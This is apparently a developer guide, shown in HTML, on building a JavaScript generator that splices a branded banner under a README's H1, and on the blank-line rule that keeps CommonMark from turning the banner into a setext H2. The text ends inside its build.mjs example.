&lt;p&gt;0.9.0 added an emitter that generates the banner at the top of a README, so that ten separately-published packages stop carrying ten hand-typed variations of the same identity line. Three of them had no brand mark at all, which meant the drift checker could not see them; a file with no generated region in it is a file the checker has nothing to say about.&lt;/p&gt;
&lt;p&gt;Markdown turned out to be the most constrained medium this generator emits into. It has bold, it has a rule, it has a middot, and past that it has raw HTML, which brings its own problems. This guide builds the emitter and the splice, and shows the one whitespace bug that makes the whole thing render as something else entirely.&lt;/p&gt;
&lt;h2&gt;Setup: the banner as a pure function of tokens&lt;/h2&gt;
&lt;p&gt;The banner is a single line of text with a rule under it: a stamp, the publication name, the kind of document, the version, and a byline.&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// masthead.mjs — the banner a README wears.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; function&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; readmeMasthead&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(tokens, params, ctx) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; version &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; ctx.version &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;??&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;0.0.0&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; stamp &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; params.stamp &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;??&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; tokens.identity.stamp;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; name &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; params.brand_line &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;??&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; tokens.identity.name;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; byline &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; params.byline &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;??&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; tokens.identity.byline;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; kind &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; String&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(params.document_kind &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;??&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;Claude Code skill&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;).&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;toUpperCase&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;name) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;throw&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; new&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; Error&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;readme-masthead needs identity.name or params.brand_line&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; eyebrow &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    `**${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;stamp&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}**`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;    String&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(name).&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;toUpperCase&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    kind,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    `KIT v${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    byline,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  ].&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;join&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos; · &apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;  // The blank line before the rule is load-bearing: `text` immediately followed&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;  // by `---` is a setext H2 in every markdown flavour, so without it the whole&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;  // eyebrow silently renders as a heading instead of a banner over a rule.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; `${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;eyebrow&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\n\n&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;---`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Everything the banner needs comes from tokens or params. The publication name in particular is worth promoting to a token rather than repeating in eleven target configs, which is the hand-copying a generator exists to end.&lt;/p&gt;
&lt;h2&gt;The blank line is not formatting&lt;/h2&gt;
&lt;p&gt;The comment above the return is the whole post. CommonMark defines a setext heading as “one or more lines of text, not interrupted by a blank line, of which the first line does not have more than 3 spaces of indentation, followed by a setext heading underline”, and adds that the lines “must be such that, were they not followed by the setext heading underline, they would be interpreted as a paragraph” (&lt;a href=&quot;https://spec.commonmark.org/0.31.2/&quot;&gt;CommonMark 0.31.2&lt;/a&gt;). The spec’s own example 104 shows the fix: put a blank line in and the dashes become a thematic break instead.&lt;/p&gt;
&lt;p&gt;GitHub Flavored Markdown inherits this unchanged; setext headings appear in the &lt;a href=&quot;https://github.github.com/gfm/&quot;&gt;GFM spec&lt;/a&gt; as core CommonMark, not as one of the extensions like tables or task lists. So this is not a quirk of one renderer to work around, it is the definition.&lt;/p&gt;
&lt;p&gt;Prove it against the renderer that actually matters. GitHub’s API will render markdown for you, which makes this checkable in one command:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;**Kit**  ·  TALLY · CLAUDE CODE SKILL · v0.9.0 · Nate Swenson\n\n---\n&apos;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; &gt;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; good.md&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;**Kit**  ·  TALLY · CLAUDE CODE SKILL · v0.9.0 · Nate Swenson\n---\n&apos;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; &gt;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; bad.md&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;=== with the blank line ===&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;gh&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; api&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; --method&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; POST&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; /markdown&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; -f&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; text=&quot;$(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;cat&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; good.md)&quot;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; -f&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; mode=gfm&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;=== without the blank line ===&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;gh&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; api&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; --method&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; POST&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; /markdown&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; -f&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; text=&quot;$(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;cat&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; bad.md)&quot;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; -f&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; mode=gfm&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;=== with the blank line ===&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&amp;#x3C;p&gt;&amp;#x3C;strong&gt;Kit&amp;#x3C;/strong&gt;  ·  TALLY · CLAUDE CODE SKILL · v0.9.0 · Nate Swenson&amp;#x3C;/p&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&amp;#x3C;hr&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;=== without the blank line ===&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&amp;#x3C;h2&gt;&amp;#x3C;strong&gt;Kit&amp;#x3C;/strong&gt;  ·  TALLY · CLAUDE CODE SKILL · v0.9.0 · Nate Swenson&amp;#x3C;/h2&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;One newline is the difference between a paragraph with a rule under it and an &lt;code&gt;&amp;lt;h2&amp;gt;&lt;/code&gt;. In raw markdown the two files look nearly identical, a diff shows one blank line, and no linter objects. The rendered page is the only place it shows.&lt;/p&gt;
&lt;h2&gt;Splice it under the H1, and only there&lt;/h2&gt;
&lt;p&gt;A README has to open on its own name, so the banner goes under the H1 rather than above it. That gives the splicer a precise anchor to attach to:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// splice.mjs — put the region directly under the README&apos;s H1, and only there.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; function&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; spliceUnderH1&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(readme, name, body, version) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; region &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    `&amp;#x3C;!-- &gt;&gt;&gt; brand:mast v${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;} GENERATED, do not edit --&gt;`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    body,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    &apos;&amp;#x3C;!-- &amp;#x3C;&amp;#x3C;&amp;#x3C; brand:mast --&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  ].&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;join&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; existing &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; /&amp;#x3C;!-- &gt;&gt;&gt; brand:mast [\s\S]*?&amp;#x3C;!-- &amp;#x3C;&amp;#x3C;&amp;#x3C; brand:mast --&gt;/&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (existing.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;test&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(readme)) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; readme.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;replace&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(existing, region);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; anchor &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; new&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; RegExp&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;`^# ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}$`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;m&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;anchor.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;test&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(readme)) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    throw&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; new&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; Error&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;`no anchor: the README&apos;s first heading must be exactly &quot;# ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}&quot;`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; readme.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;replace&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(anchor, (h1) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; `${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;h1&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\n\n&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;region&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Two behaviours are deliberate. Re-splicing replaces the existing region rather than adding another, so the operation is idempotent. And a README whose H1 is not exactly &lt;code&gt;# &amp;lt;name&amp;gt;&lt;/code&gt; raises rather than guessing, because the alternative is worse than an error: a loose anchor such as &lt;code&gt;^# &lt;/code&gt; matches whatever heading comes first, and a missing anchor with a silent fallback appends a second banner below the first on the next run.&lt;/p&gt;
&lt;h2&gt;Use it, then verify it&lt;/h2&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// build.mjs — emit the banner, splice it, and save the result to render.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { writeFileSync } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;node:fs&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { readmeMasthead } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;./masthead.mjs&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { spliceUnderH1 } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;./splice.mjs&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; tokens &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { identity: { stamp: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;Kit&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, name: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;Nate Swenson&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, byline: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;Nate Swenson&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; } };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; body &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; readmeMasthead&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(tokens, { brand_line: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;tally&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, document_kind: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;Claude Code skill&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; }, { version: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;0.9.0&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; readme &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; `# tally&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\n\n&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;*Count things that matter, and nothing else.*&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\n\n&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;## Why install this&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; out &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; spliceUnderH1&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(readme, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;tally&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, body, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;0.9.0&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;writeFileSync&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;rendered.md&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, out);&lt;/span&gt;&lt;/span&gt;
